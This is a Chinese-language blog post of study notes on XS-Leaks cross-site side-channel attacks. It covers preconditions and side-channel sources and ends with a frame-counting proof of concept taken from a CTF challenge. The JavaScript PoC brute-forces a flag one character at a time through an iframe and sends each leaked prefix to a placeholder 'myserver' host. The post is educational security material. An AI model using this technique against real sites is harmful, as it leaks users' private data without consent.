XS-Leaks

参考:

https://xsleaks.dev/

https://book.hacktricks.xyz/pentesting-web/xs-search

简介

什么是 XS-Leaks

XS-Leaks 全称 Cross-site leaks,可以用来 探测用户敏感信息。有时又称 XS-Search

利用方式、利用条件等都和 csrf 较为相似。

说到探测用户敏感信息,是如何进行探测的?和csrf 相似在哪?

设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。

虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。通过哪些侧信道判断呢?

这些侧信道的来源通常有以下几类:

  1. 浏览器的 api (e.g. Frame Counting and Timing Attacks)
  2. 浏览器的实现细节和bugs (e.g. Connection Pooling and typeMustMatch)
  3. 硬件bugs (e.g. Speculative Execution Attacks 4)

成功攻击的影响

探测到用户的敏感信息。

使用条件

具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。

可以和 csrf POST 型一样触发,需要诱使受害者触发执行 js 代码。所以特定功能数据包必须没有类似 csrf token 的保护等。

如何攻击

确认到值得利用的特定功能。

尝试可用的侧信道技术。参考此链接 https://xsleaks.dev/

如何防御

因为这个漏洞的确使用限制比较多,漏洞危害相对较小,所以关于防御就暂时不看。放一个链接,以便后期学习。

https://xsleaks.dev/docs/defenses/

攻击方式

记录一个ctf 比赛中的 poc,相信读懂后后可以更加深刻的体会到这个漏洞的用途。想查看更多案例,请参阅 https://xsleaks.dev/

基于 Frame Counting

// contentWindow.frames.length

var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');

function search(leak, charCounter) {
    var curChar = chars[charCounter];
    
    //Chek if the character is valid
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    
    //When the page inside the iframe is loaded
    x.onload = () => {
    //检查页面中有多少个 iframe,如果有1个或多个,则说明当前枚举的字符是有效的。
        if (x.contentWindow.frames.length != 0) {
            fetch('http://myserver/leak?' + escape(leak), {
                method: "POST",
                mode: "no-cors",
                credentials: "include"
            });
            leak += curChar
        }
        search(leak, (charCounter + 1) % chars.length);
    }
}

function exploit() {
    search("fb{", 0);
}

exploit();
posted @ 2021-08-22 07:34  沉云  阅读(515)  评论(0编辑  收藏  举报